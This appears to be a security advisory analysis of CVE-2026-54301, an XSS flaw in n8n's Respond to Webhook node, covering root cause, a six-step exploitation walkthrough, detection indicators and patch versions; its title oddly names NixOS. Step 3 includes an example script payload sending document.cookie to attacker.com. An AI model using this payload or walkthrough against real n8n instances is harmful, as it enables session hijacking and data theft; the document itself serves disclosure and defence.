CVE-2026-54301: 
NixOS vulnerability analysis and mitigation

CVE-2026-54301 is a same-origin Cross-Site Scripting (XSS) vulnerability in the n8n open-source workflow automation platform, specifically in the Respond to Webhook node. An authenticated user with workflow edit access can configure the node to serve binary content with an attacker-controlled Content-Type header, bypassing the platform's Content-Security-Policy (CSP) sandbox and enabling JavaScript execution in the n8n origin. Affected versions include all releases prior to 1.123.55, 2.0.0-rc.0 through 2.25.6, and 2.26.0 through 2.26.1. The vulnerability was published on June 10, 2026, and carries a CVSS v4.0 base score of 7.0 (High) and a CVSS v3.1 score of 5.4 (Medium) (GitHub Advisory, n8n Advisory).

The root cause is improper neutralization of user-controlled input during web page generation (CWE-79), specifically in the binary response path of the Respond to Webhook node. When serving binary content, the node allows an attacker to set an arbitrary Content-Type header (e.g., text/html), which causes the browser to interpret the response body as HTML and execute embedded JavaScript. Critically, this binary response path bypasses the central CSP sandbox header that n8n applies to webhook responses, enabling same-origin script execution. Exploitation requires the attacker to have workflow edit permissions and a victim authenticated user to visit the crafted public webhook URL (GitHub Advisory, n8n Advisory).

Successful exploitation allows the attacker's JavaScript payload to execute in the n8n application origin within the victim's browser session, granting access to the victim's session tokens and cookies. This can enable session hijacking, unauthorized actions performed on behalf of the victim (such as modifying or exfiltrating workflows), and access to sensitive data managed within the n8n instance. Availability is not impacted, but confidentiality and integrity of the victim user's session and associated data are at risk (GitHub Advisory, n8n Advisory).

1. Gain workflow edit access: Obtain an authenticated n8n account with workflow creation or editing permissions — this could be via a legitimate low-privilege account or a compromised credential.
2. Create a malicious workflow: Build or modify a workflow that includes a Respond to Webhook node configured to return binary content (e.g., a JavaScript payload embedded in a binary buffer).
3. Set attacker-controlled Content-Type: Configure the Respond to Webhook node to set the HTTP response Content-Type header to text/html or another browser-executable MIME type, embedding a JavaScript payload (e.g., <script>document.location='https://attacker.com/?c='+document.cookie</script>) in the binary response body.
4. Publish the webhook: Activate the workflow so the webhook endpoint is publicly accessible, bypassing the CSP sandbox via the binary response path.
5. Deliver the webhook URL to the victim: Social-engineer or otherwise cause an authenticated n8n user to visit the public webhook URL while logged into n8n.
6. Harvest session data: The browser executes the injected JavaScript in the n8n origin, allowing the attacker to steal session cookies, API tokens, or perform actions on behalf of the victim user (GitHub Advisory, n8n Advisory).

• Network: Outbound HTTP requests from a victim's browser to unexpected external domains shortly after visiting an n8n webhook URL; webhook responses with Content-Type: text/html or other executable MIME types served from the n8n origin.
• Logs: n8n access logs showing requests to /webhook/ endpoints returning binary responses with non-binary Content-Type headers; unusual GET requests to public webhook URLs from authenticated user sessions.
• Application Behavior: Unexpected workflow modifications, new API key generation, or unauthorized data exports occurring under a legitimate user's account following webhook access; session tokens appearing in external server logs.

Upgrade n8n to one of the patched versions: 1.123.55, 2.25.7, or 2.26.2 (or later). If immediate upgrade is not possible, administrators should apply the following temporary mitigations: (1) restrict workflow creation and editing permissions to fully trusted users only, and (2) disable the Respond to Webhook node by adding n8n-nodes-base.respondToWebhook to the NODES_EXCLUDE environment variable. Note that these workarounds do not fully remediate the risk and should only be used as short-term measures until patching is feasible (GitHub Advisory, n8n Advisory).

The vulnerability was reported by security researcher supperhellokitty20 and disclosed via GitHub's security advisory process. No significant public commentary, media coverage, or notable researcher reactions beyond the official advisory have been identified at this time (GitHub Advisory).